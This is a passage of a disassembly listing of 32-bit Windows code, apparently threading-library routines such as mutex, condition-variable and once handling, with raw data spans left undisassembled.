jnz short loc_4308DB
push offset dword_50E960
mov dword ptr [edi], 0
nop
call near ptr 7C9010EDh
mov eax, esi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_4308DB: ; CODE XREF: sub_430810+B3j
push offset dword_50E960
mov esi, 10h
call near ptr 7C9010EDh
nop
loc_4308EB: ; CODE XREF: sub_430810+38j
mov eax, esi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_4308F0: ; CODE XREF: sub_430810+Aj
; sub_430810+14j
pop edi
mov eax, 16h
pop esi
retn
sub_430810 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_430940 proc near ; CODE XREF: sub_401A0Fj
arg_0 = dword ptr 4
push esi
push 8
push 1
xor esi, esi
nop
call near ptr 77C2C0C3h
add esp, 8
cmp eax, esi
jnz short loc_430963
mov edx, [esp+4+arg_0]
mov ecx, 0Ch
pop esi
mov [edx], eax
mov eax, ecx
retn
; ---------------------------------------------------------------------------
loc_430963: ; CODE XREF: sub_430940+12j
mov ecx, [esp+4+arg_0]
mov [eax], esi
mov [eax+4], esi
mov [ecx], eax
mov eax, esi
pop esi
retn
sub_430940 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_430990 proc near ; CODE XREF: sub_4010AAj
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
push esi
xor esi, esi
test ecx, ecx
jz short loc_4309B1
mov eax, [ecx]
test eax, eax
jz short loc_4309B1
push eax
mov [ecx], esi
nop
call near ptr 77C2C21Bh
add esp, 4
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_4309B1: ; CODE XREF: sub_430990+9j
; sub_430990+Fj
mov eax, 16h
pop esi
retn
sub_430990 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4309D0: ; CODE XREF: ___:00401BA9j
mov eax, [esp+4]
test eax, eax
jz short loc_4309ED
mov eax, [eax]
test eax, eax
jz short loc_4309ED
mov ecx, [esp+8]
test ecx, ecx
jz short loc_4309ED
mov eax, [eax]
mov [ecx], eax
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_4309ED: ; CODE XREF: ___:004309D6j
; ___:004309DCj ...
mov eax, 16h
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_430A10: ; CODE XREF: ___:004018F7j
mov eax, [esp+4]
test eax, eax
jz short loc_430A3A
mov ecx, [eax]
test ecx, ecx
jz short loc_430A3A
mov eax, [esp+8]
cmp eax, 1
jz short loc_430A2E
test eax, eax
jnz short loc_430A3A
mov [ecx], eax
retn
; ---------------------------------------------------------------------------
loc_430A2E: ; CODE XREF: ___:00430A25j
mov eax, 28h
mov dword ptr [ecx], 0
retn
; ---------------------------------------------------------------------------
loc_430A3A: ; CODE XREF: ___:00430A16j
; ___:00430A1Cj ...
mov eax, 16h
retn
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_430A50 proc near ; CODE XREF: sub_40119Aj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_0]
xor eax, eax
test ecx, ecx
jz short loc_430A71
mov ecx, [ecx]
test ecx, ecx
jz short loc_430A71
mov edx, [esp+arg_4]
test edx, edx
jl short loc_430A71
cmp edx, 2
jg short loc_430A71
mov [ecx+4], edx
retn
; ---------------------------------------------------------------------------
loc_430A71: ; CODE XREF: sub_430A50+8j
; sub_430A50+Ej ...
mov eax, 16h
retn
sub_430A50 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_430A90 proc near ; CODE XREF: sub_4018C0j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_0]
xor eax, eax
test ecx, ecx
jz short loc_430AAE
mov ecx, [ecx]
test ecx, ecx
jz short loc_430AAE
mov edx, [esp+arg_4]
test edx, edx
jz short loc_430AAE
mov ecx, [ecx+4]
mov [edx], ecx
retn
; ---------------------------------------------------------------------------
loc_430AAE: ; CODE XREF: sub_430A90+8j
; sub_430A90+Ej ...
mov eax, 16h
retn
sub_430A90 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_430AD0 proc near ; CODE XREF: sub_402225j
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push edi
xor edi, edi
test esi, esi
jz loc_430B87
mov eax, [esi]
test eax, eax
jz loc_430B87
cmp eax, 0FFFFFFFFh
jnz short loc_430B01
push esi
call sub_401C03
mov edi, eax
add esp, 4
test edi, edi
jz short loc_430B01
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_430B01: ; CODE XREF: sub_430AD0+1Dj
; sub_430AD0+2Cj
mov esi, [esi]
push esi
nop
call near ptr 2760511h
test eax, eax
jnz short loc_430B2A
loc_430B0E: ; CODE XREF: sub_430AD0+A8j
mov ecx, [esi+8]
mov eax, 1
test ecx, ecx
mov [esi+4], eax
jz short loc_430B22
call sub_4012E4
; ---------------------------------------------------------------------------
loc_430B22: ; CODE XREF: sub_430AD0+4Bj
mov [esi+0Ch], eax
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_430B2A: ; CODE XREF: sub_430AD0+3Cj
mov eax, [esi+8]
test eax, eax
jz short loc_430B6A
call sub_4012E4
; ---------------------------------------------------------------------------
dw 8B50h
dd 0E8500C46h, 0FFFD0F10h, 8508C483h, 562374C0h, 33FB80E8h
dd 7E839002h, 0C750108h, 4004468Bh, 8B044689h, 0C35E5FC7h
dd 24BFh, 5FC78B00h
; ---------------------------------------------------------------------------
pop esi
retn
; ---------------------------------------------------------------------------
loc_430B6A: ; CODE XREF: sub_430AD0+5Fj
lea ecx, [esi+10h]
push ecx
call sub_430BC0
add esp, 4
test eax, eax
jz short loc_430B0E
nop
call near ptr 77C1F2BCh
mov edi, [eax]
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_430B87: ; CODE XREF: sub_430AD0+Aj
; sub_430AD0+14j
pop edi
mov eax, 16h
pop esi
retn
sub_430AD0 endp
; ---------------------------------------------------------------------------
db 90h
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_430BC0 proc near ; CODE XREF: sub_430AD0+9Ep
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
test eax, eax
jz short loc_430BDA
mov eax, [eax]
push 0FFFFFFFFh
mov ecx, [eax]
push ecx
nop
call near ptr 27703A1h
test eax, eax
jnz short loc_430BDA
retn
; ---------------------------------------------------------------------------
loc_430BDA: ; CODE XREF: sub_430BC0+6j
; sub_430BC0+17j
nop
call near ptr 77C1F2BCh
mov dword ptr [eax], 16h
or eax, 0FFFFFFFFh
retn
sub_430BC0 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_430C00 proc near ; CODE XREF: sub_401BC2j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebp
push esi
mov esi, [esp+8+arg_0]
xor ebp, ebp
test esi, esi
jz loc_430D98
mov eax, [esi]
test eax, eax
jz loc_430D98
cmp eax, 0FFFFFFFFh
jnz short loc_430C31
push esi
call sub_401C03
mov ebp, eax
add esp, 4
test ebp, ebp
jz short loc_430C31
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_430C31: ; CODE XREF: sub_430C00+1Dj
; sub_430C00+2Cj
mov esi, [esi]
push ebx
push edi
push esi
nop
call near ptr 2760511h
test eax, eax
jnz short loc_430C62
loc_430C40: ; CODE XREF: sub_430C00+175j
mov ecx, [esi+8]
mov eax, 1
test ecx, ecx
mov [esi+4], eax
jz loc_430D8E
call sub_4012E4
; ---------------------------------------------------------------------------
pop edi
mov [esi+0Ch], eax
pop ebx
mov eax, ebp
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_430C62: ; CODE XREF: sub_430C00+3Ej
mov eax, [esi+8]
test eax, eax
jz short loc_430CA6
call sub_4012E4
; ---------------------------------------------------------------------------
dw 8B50h
dd 0E8500C46h, 0FFFD0DD8h, 8508C483h, 562774C0h, 0FA47E890h
dd 7E830233h, 0E750108h, 5F04468Bh, 46895B40h, 5EC58B04h
dd 24BDC35Dh, 5F000000h, 5EC58B5Bh
; ---------------------------------------------------------------------------
pop ebp
retn
; ---------------------------------------------------------------------------
loc_430CA6: ; CODE XREF: sub_430C00+67j
mov eax, [esp+10h+arg_4]
test eax, eax
jnz short loc_430CBA
mov ebp, 16h
pop edi
pop ebx
mov eax, ebp
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_430CBA: ; CODE XREF: sub_430C00+ACj
lea edi, [esi+10h]
push eax
push edi
call sub_430E10
add esp, 8
sub eax, 0
jz loc_430D7A
dec eax
jz short loc_430D44
dec eax
jz short loc_430CE5
call near ptr 77C1F2BCh
nop
mov ebp, [eax]
pop edi
pop ebx
mov eax, ebp
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_430CE5: ; CODE XREF: sub_430C00+D4j
lea ebx, [esi+14h]
push ebx
nop
call near ptr 7C901005h
push edi
mov ebp, 274Ch
call sub_4010A5
add esp, 4
cmp eax, 0FFFFFFFFh
push esi
jnz short loc_430D17
call near ptr 27706CDh
nop
push ebx
nop
call near ptr 7C9010EDh
pop edi
pop ebx
mov eax, ebp
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_430D17: ; CODE XREF: sub_430C00+101j
call near ptr 27706CDh
nop
test eax, eax
jl short loc_430D36
push edi
call sub_40103C
add esp, 4
test eax, eax
jz short loc_430D36
call near ptr 77C1F2BCh
nop
mov ebp, [eax]
loc_430D36: ; CODE XREF: sub_430C00+11Fj
; sub_430C00+12Cj
push ebx
nop
call near ptr 7C9010EDh
pop edi
pop ebx
mov eax, ebp
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_430D44: ; CODE XREF: sub_430C00+D1j
lea ebx, [esi+14h]
push ebx
nop
call near ptr 7C901005h
push edi
call sub_4010A5
mov edi, eax
add esp, 4
cmp edi, 0FFFFFFFFh
jnz short loc_430D6A
push esi
call near ptr 27706CDh
nop
mov ebp, 274Ch
loc_430D6A: ; CODE XREF: sub_430C00+15Cj
push ebx
call near ptr 7C9010EDh
nop
test edi, edi
jnz short loc_430D91
jmp loc_430C40
; ---------------------------------------------------------------------------
loc_430D7A: ; CODE XREF: sub_430C00+CAj
mov ecx, [esi+8]
mov eax, 1
test ecx, ecx
mov [esi+4], eax
jz short loc_430D8E
call sub_4012E4
; ---------------------------------------------------------------------------
loc_430D8E: ; CODE XREF: sub_430C00+4Dj
; sub_430C00+187j
mov [esi+0Ch], eax
loc_430D91: ; CODE XREF: sub_430C00+173j
pop edi
pop ebx
mov eax, ebp
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_430D98: ; CODE XREF: sub_430C00+Aj
; sub_430C00+14j
pop esi
mov eax, 16h
pop ebp
retn
sub_430C00 endp
; ---------------------------------------------------------------------------
db 70h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_430E10 proc near ; CODE XREF: sub_430C00+BFp
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 4
arg_4 = dword ptr 8
sub esp, 0Ch
push esi
push edi
mov edi, [esp+14h+arg_0]
test edi, edi
jz loc_430EAE
mov esi, [esp+14h+arg_4]
test esi, esi
jnz short loc_430E42
or eax, 0FFFFFFFFh
loc_430E2C: ; CODE XREF: sub_430E10+7Fj
push eax
mov eax, [edi]
mov ecx, [eax]
push ecx
nop
call near ptr 27703A1h
test eax, eax
jnz short loc_430E9C
pop edi
pop esi
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
loc_430E42: ; CODE XREF: sub_430E10+17j
lea eax, [esp+14h+var_C]
push eax
nop
call near ptr 77C49113h
mov ecx, [esi+4]
mov eax, 431BDE83h
add ecx, 7A120h
add esp, 4
mul ecx
mov eax, [esi]
mov ecx, [esp+14h+var_C]
shr edx, 12h
lea eax, [eax+eax*4]
lea ecx, [ecx+ecx*4]
lea eax, [eax+eax*4]
lea ecx, [ecx+ecx*4]
lea eax, [eax+eax*4]
lea ecx, [ecx+ecx*4]
shl ecx, 3
lea eax, [edx+eax*8]
mov edx, [esp+14h+var_8]
sub eax, ecx
and edx, 0FFFFh
sub eax, edx
jns short loc_430E2C
pop edi
mov eax, 2
pop esi
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
loc_430E9C: ; CODE XREF: sub_430E10+2Aj
cmp eax, 102h
jnz short loc_430EAE
pop edi
mov eax, 1
pop esi
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
loc_430EAE: ; CODE XREF: sub_430E10+Bj
; sub_430E10+91j
nop
call near ptr 77C1F2BCh
mov dword ptr [eax], 16h
pop edi
or eax, 0FFFFFFFFh
pop esi
add esp, 0Ch
retn
sub_430E10 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_430F00 proc near ; CODE XREF: sub_4010C3j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push ebx
xor ebx, ebx
push esi
cmp eax, ebx
jz loc_430FA0
mov esi, [eax]
cmp esi, ebx
jz loc_430FA0
cmp esi, 0FFFFFFFFh
push edi
jz short loc_430F95
mov eax, [esi+0Ch]
mov edi, 1
cmp eax, edi
jz short loc_430F4A
call sub_4012E4
; ---------------------------------------------------------------------------
push eax
mov eax, [esi+0Ch]
push eax
call sub_401A50
add esp, 8
test eax, eax
jnz short loc_430F4A
mov ebx, edi
pop edi
mov eax, ebx
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_430F4A: ; CODE XREF: sub_430F00+2Aj
; sub_430F00+40j
cmp [esi+8], edi
jnz short loc_430F58
mov eax, [esi+4]
dec eax
mov [esi+4], eax
jnz short loc_430F9A
loc_430F58: ; CODE XREF: sub_430F00+4Dj
lea edi, [esi+14h]
mov [esi+0Ch], ebx
push edi
nop
call near ptr 7C901005h
push esi
call near ptr 27706CDh
nop
test eax, eax
jl short loc_430F88
add esi, 10h
push esi
call sub_40103C
add esp, 4
test eax, eax
jz short loc_430F88
nop
call near ptr 77C1F2BCh
mov ebx, [eax]
loc_430F88: ; CODE XREF: sub_430F00+6Ej
; sub_430F00+7Ej
push edi
call near ptr 7C9010EDh
nop
pop edi
mov eax, ebx
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_430F95: ; CODE XREF: sub_430F00+1Ej
mov ebx, 16h
loc_430F9A: ; CODE XREF: sub_430F00+56j
pop edi
mov eax, ebx
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_430FA0: ; CODE XREF: sub_430F00+Aj
; sub_430F00+14j
pop esi
mov eax, 16h
pop ebx
retn
sub_430F00 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_430FE0 proc near ; CODE XREF: sub_40177Bj
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push edi
xor edi, edi
test esi, esi
jz short loc_431065
mov eax, [esi]
test eax, eax
jz short loc_431065
cmp eax, 0FFFFFFFFh
jnz short loc_431002
push esi
call sub_401C03
add esp, 4
mov edi, eax
loc_431002: ; CODE XREF: sub_430FE0+15j
mov esi, [esi]
test edi, edi
jnz short loc_431060
push 0FFFFFFFFh
push edi
push esi
call dword_50E3FC ; InterlockedCompareExchange
cmp eax, 0FFFFFFFFh
jnz short loc_431033
mov ecx, [esi+8]
mov eax, 1
test ecx, ecx
mov [esi+4], eax
jz short loc_43102B
call sub_4012E4
; ---------------------------------------------------------------------------
loc_43102B: ; CODE XREF: sub_430FE0+44j
mov [esi+0Ch], eax
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_431033: ; CODE XREF: sub_430FE0+35j
cmp dword ptr [esi+8], 1
jnz short loc_43105B
call sub_4012E4
; ---------------------------------------------------------------------------
push eax
mov eax, [esi+0Ch]
push eax
call sub_401A50
add esp, 8
test eax, eax
jz short loc_43105B
mov eax, [esi+4]
inc eax
mov [esi+4], eax
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_43105B: ; CODE XREF: sub_430FE0+57j
; sub_430FE0+6Dj
mov edi, 10h
loc_431060: ; CODE XREF: sub_430FE0+26j
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_431065: ; CODE XREF: sub_430FE0+Aj
; sub_430FE0+10j
pop edi
mov eax, 16h
pop esi
retn
sub_430FE0 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4310A0: ; CODE XREF: ___:0040192Ej
mov eax, [esp+8]
mov ecx, [esp+4]
push eax
push ecx
call sub_40119A
add esp, 8
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4310D0: ; CODE XREF: ___:00401587j
mov eax, [esp+8]
mov ecx, [esp+4]
push eax
push ecx
call sub_4018C0
add esp, 8
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_431100: ; CODE XREF: ___:0040148Dj
mov eax, [esp+4]
test eax, eax
jz short loc_43110C
mov eax, [eax+4]
retn
; ---------------------------------------------------------------------------
loc_43110C: ; CODE XREF: ___:00431106j
xor eax, eax
retn
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_431120: ; CODE XREF: ___:00401BFEj
mov eax, [esp+4]
push esi
test eax, eax
push edi
jnz short loc_431132
pop edi
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
loc_431132: ; CODE XREF: ___:00431128j
mov esi, [eax]
test esi, esi
jnz short loc_431155
mov ecx, [eax+4]
test ecx, ecx
jnz short loc_431155
call sub_401CEE
; ---------------------------------------------------------------------------
dd 0B5E89056h, 0E80240EEh, 0FFFD0B9Eh, 5EC0335Fh
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
loc_431155: ; CODE XREF: ___:00431136j
; ___:0043113Dj
mov ecx, [eax+4]
mov eax, 431BDE83h
add ecx, 0F423Fh
imul ecx
sar edx, 12h
mov eax, edx
shr eax, 1Fh
add edx, eax
lea eax, [esi+esi*4]
lea eax, [eax+eax*4]
lea ecx, [eax+eax*4]
lea edi, [edx+ecx*8]
call sub_4012E4
; ---------------------------------------------------------------------------
mov esi, eax
test esi, esi
jnz short loc_43118E
pop edi
mov eax, 0Ch
pop esi
retn
; ---------------------------------------------------------------------------
loc_43118E: ; CODE XREF: ___:00431184j
mov eax, [esi+30h]
push edi
test eax, eax
jnz short loc_4311F6
mov edx, [esi+38h]
push edx
nop
call near ptr 27703A1h
test eax, eax
jnz short loc_4311E7
lea edi, [esi+2Ch]
push edi
call sub_402225
mov eax, [esi+0Ch]
add esp, 4
cmp eax, 3
jge short loc_4311D6
push edi
mov dword ptr [esi+0Ch], 3
mov dword ptr [esi+30h], 1
call sub_4010C3
push 2
call sub_401DD4
; ---------------------------------------------------------------------------
add esp, 8
loc_4311D6: ; CODE XREF: ___:004311B6j
push edi
call sub_4010C3
add esp, 4
mov eax, 3
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_4311E7: ; CODE XREF: ___:004311A2j
cmp eax, 102h
jz short loc_4311FC
pop edi
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
loc_4311F6: ; CODE XREF: ___:00431194j
call near ptr 2840000h
nop
loc_4311FC: ; CODE XREF: ___:004311ECj
pop edi
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 40h dup(0CCh)
; ---------------------------------------------------------------------------
loc_431250: ; CODE XREF: ___:00401014j
push ecx
lea eax, [esp+0]
push eax
call sub_401C26
add esp, 4
test eax, eax
mov eax, 1
jnz short loc_43126B
mov eax, [esp+0]
loc_43126B: ; CODE XREF: ___:00431265j
pop ecx
retn
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_431280 proc near ; CODE XREF: sub_401708j
push esi
call sub_401320
push offset aKernel32_dll ; "KERNEL32.DLL"
mov esi, eax
nop
call near ptr 27E0B2Ch
push offset aInterlockedcom ; "InterlockedCompareExchange"
push eax
mov dword_50E3E0, eax
nop
call near ptr 27F0000h
test eax, eax
mov dword_50E3FC, eax
jnz short loc_4312CD
mov eax, dword_50E3E0
mov dword_50E3FC, offset sub_4012D0
push eax
call near ptr 275034Ah
nop
mov dword_50E3E0, 0
loc_4312CD: ; CODE XREF: sub_431280+2Bj
mov eax, esi
pop esi
retn
sub_431280 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_431300 proc near ; CODE XREF: sub_40161Dj
mov eax, dword_50E3E4
test eax, eax
jz short loc_431350
mov eax, dword_50E3E8
push eax
call sub_401190
; ---------------------------------------------------------------------------
dd 8504C483h, 832074C0h, 75012078h, 86E8501Ah, 8BFFFD04h
dd 50E3E80Dh, 4C48300h, 6A118Bh, 0C5E89052h, 0E80231ECh
dd 0FFFD02FBh, 50E3E0A1h, 74C08500h, 0FBE85007h, 900231EFh
; ---------------------------------------------------------------------------
loc_431350: ; CODE XREF: sub_431300+7j
mov eax, 1
retn
sub_431300 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_431380 proc near ; CODE XREF: sub_4017B2j
mov eax, 1
retn
sub_431380 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4313A0 proc near ; CODE XREF: sub_4017C1j
mov eax, dword_50E3E4
test eax, eax
jz short loc_4313DB
mov eax, dword_50E3E8
push eax
call sub_401190
; ---------------------------------------------------------------------------
dd 8504C483h, 832074C0h, 75012078h, 0E6E8501Ah, 8BFFFD03h
dd 50E3E80Dh, 4C48300h, 6A118Bh, 25E89052h
db 0ECh, 31h, 2
; ---------------------------------------------------------------------------
loc_4313DB: ; CODE XREF: sub_4313A0+7j
mov eax, 1
retn
sub_4313A0 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_431410: ; CODE XREF: ___:00402239j
push ecx
push esi
push offset dword_50E9C0
xor esi, esi
nop
call near ptr 7C901005h
mov eax, dword_50E3F0
test eax, eax
mov [esp+4], eax
jz short loc_43144E
loc_43142C: ; CODE XREF: ___:0043144Cj
test esi, esi
jnz short loc_43144E
lea eax, [esp+4]
push eax
call sub_401604
mov ecx, [esp+8]
mov esi, eax
add esp, 4
mov eax, [ecx+18h]
test eax, eax
mov [esp+4], eax
jnz short loc_43142C
loc_43144E: ; CODE XREF: ___:0043142Aj
; ___:0043142Ej
push offset dword_50E9C0
call near ptr 7C9010EDh
nop
mov eax, esi
pop esi
neg eax
sbb eax, eax
and eax, 0Bh
pop ecx
retn
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_431490 proc near ; CODE XREF: sub_4012B7j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
test eax, eax
jz short loc_4314A9
mov eax, [eax]
test eax, eax
jz short loc_4314A9
cmp dword ptr [eax], 0C4C0FFEEh
jnz short loc_4314A9
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_4314A9: ; CODE XREF: sub_431490+6j
; sub_431490+Cj ...
mov eax, 1
retn
sub_431490 endp
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4314C0 proc near ; CODE XREF: sub_401320j
mov eax, dword_50E3E4
test eax, eax
jz short loc_4314CF
mov eax, 1
retn
; ---------------------------------------------------------------------------
loc_4314CF: ; CODE XREF: sub_4314C0+7j
push 0
push offset dword_50E3E8
mov dword_50E3E4, 1
call sub_4015FF
add esp, 8
test eax, eax
jnz short loc_4314FE
push eax
push offset dword_50E3EC
call sub_4015FF
add esp, 8
test eax, eax
jz short loc_431503
loc_4314FE: ; CODE XREF: sub_4314C0+2Aj
call sub_40163B
loc_431503: ; CODE XREF: sub_4314C0+3Cj
push esi
mov esi, dword_50F85C
push offset dword_50E900
call esi ; dword_50F85C
push offset dword_50E960
call esi ; dword_50F85C
push offset dword_50E9C0
call esi ; dword_50F85C
push offset dword_50E940
call esi ; dword_50F85C
push offset dword_50E9A0
call esi ; dword_50F85C
push offset dword_50E980
call esi ; dword_50F85C
mov eax, dword_50E3E4
pop esi
retn
sub_4314C0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_431560 proc near ; CODE XREF: sub_40163Bj
mov eax, dword_50E3E4
test eax, eax
jz locret_431619
mov eax, dword_50E3E8
test eax, eax
jz short loc_431589
push eax
call sub_401AA0
add esp, 4
mov dword_50E3E8, 0
loc_431589: ; CODE XREF: sub_431560+14j
mov eax, dword_50E3EC
test eax, eax
jz short loc_4315A5
push eax
call sub_401AA0
add esp, 4
mov dword_50E3EC, 0
loc_4315A5: ; CODE XREF: sub_431560+30j
push esi
push offset dword_50E900
nop
call near ptr 7C901005h
mov eax, dword_44574C
cmp eax, 1
jz short loc_4315D3
push edi
mov edi, dword_50FAC4
loc_4315C2: ; CODE XREF: sub_431560+70j
mov esi, [eax+8]
push eax
call edi ; dword_50FAC4
add esp, 4
cmp esi, 1
mov eax, esi
jnz short loc_4315C2
pop edi
loc_4315D3: ; CODE XREF: sub_431560+59j
push offset dword_50E900
call near ptr 7C9010EDh
nop
mov esi, dword_50F858
push offset dword_50E980
call esi ; dword_50F858
push offset dword_50E9A0
call esi ; dword_50F858
push offset dword_50E940
call esi ; dword_50F858
push offset dword_50E9C0
call esi ; dword_50F858
push offset dword_50E960
call esi ; dword_50F858
push offset dword_50E900
call esi ; dword_50F858
mov dword_50E3E4, 0
pop esi
locret_431619: ; CODE XREF: sub_431560+7j
retn
sub_431560 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_431650: ; CODE XREF: ___:loc_401B95j
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+8]
push esi
push edi
push eax
mov esi, [eax]
mov ecx, [eax+4]
mov edx, [eax+8]
mov [ebp-4], esi
mov [ebp-0Ch], ecx
mov [ebp-8], edx
nop
call near ptr 77C2C21Bh
mov eax, dword_50E3E8
push esi
push eax
call sub_4020DB
; ---------------------------------------------------------------------------
mov dword ptr [esi+0Ch], 1
add esi, 3Ch
push 0
push esi
call sub_436A5C
mov edi, [ebp-4]
add esp, 14h
test eax, eax
jnz short loc_4316AC
mov ecx, [ebp-8]
push ecx
call dword ptr [ebp-0Ch]
add esp, 4
mov [edi+14h], eax
mov esi, eax
jmp short loc_4316B8
; ---------------------------------------------------------------------------
loc_4316AC: ; CODE XREF: ___:00431699j
dec eax
jz short loc_4316B5
dec eax
or esi, 0FFFFFFFFh
jmp short loc_4316B8
; ---------------------------------------------------------------------------
loc_4316B5: ; CODE XREF: ___:004316ADj
mov esi, [edi+14h]
loc_4316B8: ; CODE XREF: ___:004316AAj
; ___:004316B3j
cmp dword ptr [edi+20h], 1
jnz short loc_4316D7
call sub_4017C1
push esi
nop
call near ptr 77C3A307h
add esp, 4
mov eax, esi
pop edi
pop esi
mov esp, ebp
pop ebp
retn 4
; ---------------------------------------------------------------------------
loc_4316D7: ; CODE XREF: ___:004316BCj
push edi
call sub_40131B
add esp, 4
push esi
nop
call near ptr 77C3A307h
add esp, 4
mov eax, esi
pop edi
pop esi
mov esp, ebp
pop ebp
retn 4
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_431730 proc near ; CODE XREF: sub_4017ADj
var_84 = byte ptr -84h
var_80 = dword ptr -80h
var_58 = byte ptr -58h
var_4C = dword ptr -4Ch
var_8 = byte ptr -8
arg_0 = dword ptr 4
sub esp, 84h
push ebx
mov ebx, [esp+88h+arg_0]
test ebx, ebx
push esi
jz short loc_4317AA
lea esi, [ebx+2Ch]
push edi
push esi
call sub_402225
push esi
mov dword ptr [ebx+0Ch], 5
call sub_4010C3
push ebx
call sub_40131B
mov ecx, 21h
mov esi, ebx
lea edi, [esp+9Ch+var_84]
push ebx
rep movsd
call sub_401BBD
mov eax, [esp+0A0h+var_4C]
mov esi, dword_50F8D8
add esp, 10h
test eax, eax
pop edi
jz short loc_431788
push eax
call esi ; dword_50F8D8
loc_431788: ; CODE XREF: sub_431730+53j
lea eax, [esp+8Ch+var_58]
push eax
call sub_40222F
mov eax, [esp+90h+var_80]
add esp, 4
test eax, eax
jz short loc_4317AA
test [esp+8Ch+var_8], 1
jnz short loc_4317AA
push eax
call esi ; dword_50F8D8
loc_4317AA: ; CODE XREF: sub_431730+11j
; sub_431730+6Bj ...
pop esi
pop ebx
add esp, 84h
retn
sub_431730 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4317F0 proc near ; CODE XREF: sub_401DC5j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
